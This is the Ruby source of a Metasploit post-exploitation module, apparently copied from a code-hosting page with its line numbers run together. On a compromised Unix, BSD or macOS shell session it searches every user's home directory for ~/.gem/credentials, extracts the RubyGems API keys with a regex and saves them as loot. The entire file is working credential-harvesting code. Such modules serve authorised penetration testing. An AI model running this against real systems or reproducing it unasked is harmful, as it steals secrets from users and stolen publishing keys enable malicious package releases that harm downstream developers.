Path: blob/master/modules/post/multi/gather/rubygems_api_key.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Gather RubyGems API Key',14'Description' => %q{15This module obtains a user's RubyGems API key from ~/.gem/credentials.16},17'Author' => [18'Jonathan Claudius <jclaudius[at]trustwave.com>',19'Brandon Myers <bmyers[at]trustwave.com>'20],21'Platform' => %w[bsd linux osx unix],22'SessionTypes' => %w[shell],23'License' => MSF_LICENSE,24'Notes' => {25'Stability' => [CRASH_SAFE],26'SideEffects' => [],27'Reliability' => []28}29)30)31end3233def run34print_status('Finding ~/.gem/credentials')35paths = enum_user_directories.map { |d| d + '/.gem/credentials' }36paths = paths.select { |f| file?(f) }3738if paths.empty?39print_error('No users found with a ~/.gem/credentials file')40return41end4243download_key(paths)44end4546# Ruby gem credentials are pretty standard and can come47# in a few flavors, but the most common are straight yaml48# and json, both of which are colon delimited. I suppose49# you could concievably have more than one, but that'd be50# manually editing, and the first one is probably the best51# one anyway.52def extract_key(path)53data = read_file(path)54keys = data.split(':').select { |k| k =~ /[0-9a-f]{32}/ }55keys.map(&:strip).first56end5758def download_key(paths)59print_status("Looting #{paths.count} files")60paths.each do |path|61path.chomp!62next if ['.', '..'].include?(path)6364rubygems_api_key = extract_key(path)65next unless rubygems_api_key6667print_good("Found a RubyGems API key: #{rubygems_api_key}")6869loot_path = store_loot(70'rubygems.apikey',71'text/plain',72session,73rubygems_api_key,74'rubygems_api_key.txt',75'RubyGems API key'76)7778print_good("RubyGems API key stored in #{loot_path}")79end80end81end828384